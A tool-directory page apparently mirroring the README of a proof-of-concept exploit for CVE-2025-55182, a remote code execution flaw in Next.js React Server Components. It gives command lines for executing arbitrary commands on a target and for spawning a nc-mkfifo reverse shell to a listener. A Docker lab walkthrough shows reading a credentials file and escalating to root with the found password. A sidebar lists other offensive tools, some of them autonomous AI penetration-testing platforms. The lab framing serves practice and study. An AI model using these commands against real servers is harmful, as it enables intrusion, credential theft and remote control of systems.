Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/nkwenti-severian-ndongtsop/poc_react2shell_cve-2025-55182
Payload GenerationExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHub
nkwenti-severian-ndongtsop/poc_react2shell_cve-2025-55182

POC_react2shell_CVE-2025-55182

Exploit for CVE-2025-55182 targeting Next.js React Server Components via prototype pollution, enabling remote code execution with command execution and reverse shell payloads. Includes Docker lab environments for practice.

View RepositoryWebsite
22811 months agoNot yet reviewed
Share

Next.js React Server Components RCE Exploit

Exploits CVE-2025-55182 for remote code execution via prototype pollution.

Author: Severian N.K.

Description

This tool exploits a prototype pollution vulnerability in Next.js applications using React Server Components, leading to Remote Code Execution (RCE). It supports both direct command execution and reverse shells.

Installation

This project uses a Python virtual environment to manage dependencies. First, ensure you have Python 3 installed.

  1. Set up the virtual environment:

    python3 -m venv venv
    
  2. Activate the environment and install dependencies:

    source venv/bin/activate
    pip install -r requirements.txt
    

Usage

Make sure the virtual environment is activated (source venv/bin/activate) before running the exploit.

Command Execution

To execute a single command on the target:

python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"

Example:

python3 exploit.py -u http://example.com -c "id"

Reverse Shell

To get a reverse shell from the target:

python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>

Example:

python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo

Lab Environment

The lab/ directory contains two independent Docker environments:

  1. Vulnerable App (lab/vulnerable): Running on port 3000.
  2. Patched App (lab/patched): Running on port 3001.

1. Setup Vulnerable App

cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh

Access at: http://localhost:3000

2. Setup Patched App

cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh

Access at: http://localhost:3001

3. Test Reverse Shell

You must specify your listener IP (--lhost) and port (--lport). You can find your Docker bridge IP with ip addr show docker0 (usually 172.17.0.1).

python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo

Note: We use -P nc-mkfifo because the target is running Alpine Linux, which requires a specific payload type.

Step 2: Access Secrets

The vulnerable container exposes a secret file.

python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!

Step 3: Privilege Escalation

You can escalate from nextjs to root using the compromised credentials.

  1. Switch User: su - manager (Password: SuperSecret2025!)
  2. Become Root: sudo su (Password: SuperSecret2025!)
  3. Capture Flag:
    cat /root/flag.txt
    # Output: Congratulations! You have gained full control over the system!
    

References

  • Technical Analysis (Gist)
  • Hands-on Lab (TryHackMe)

Contributing

Contributions are welcome! If you find a bug or have an idea for an improvement, please open an issue or submit a pull request.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    696
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    499
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    396
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    340
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    257

Explore all tools

Browse our collection of tools

View all tools →